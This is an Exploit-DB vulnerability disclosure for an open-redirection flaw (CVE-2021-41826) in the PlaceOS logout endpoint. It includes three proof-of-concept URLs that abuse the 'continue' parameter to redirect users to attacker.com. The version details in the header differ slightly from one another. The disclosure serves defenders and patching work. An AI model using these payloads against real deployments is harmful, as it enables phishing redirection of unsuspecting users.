Lucene search

K
exploitdbExploit-DBEDB-ID:50359
HistorySep 30, 2021 - 12:00 a.m.

PlaceOS 1.2109.1 - Open Redirection

2021-09-3000:00:00
Exploit-DB
www.exploit-db.com
173
# Exploit Title: PlaceOS 1.2109.1 - Open Redirection
# Date: 29-09-2021
# Exploit Author: Hamza Khedr @ Accenture Austalia AARO Team
# Vendor Homepage: https://place.technology/
# Software Link: https://github.com/PlaceOS
# Version: < 1.29.10
# Tested on: Ubuntu 20.04
# CVE: CVE-2021-41826
#
#
# PoC:  "https://office.example.com/auth/logout?continue=//attacker.com"
#           "https://office.example.com/auth/logout?continue=.attacker.com"
#           "https://office.example.com/auth/logout?continue=:[email protected]"
#
#
# Reference: https://github.com/PlaceOS/auth/issues/36
#                  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41826
#                  https://nvd.nist.gov/vuln/detail/CVE-2021-41826
Related for EDB-ID:50359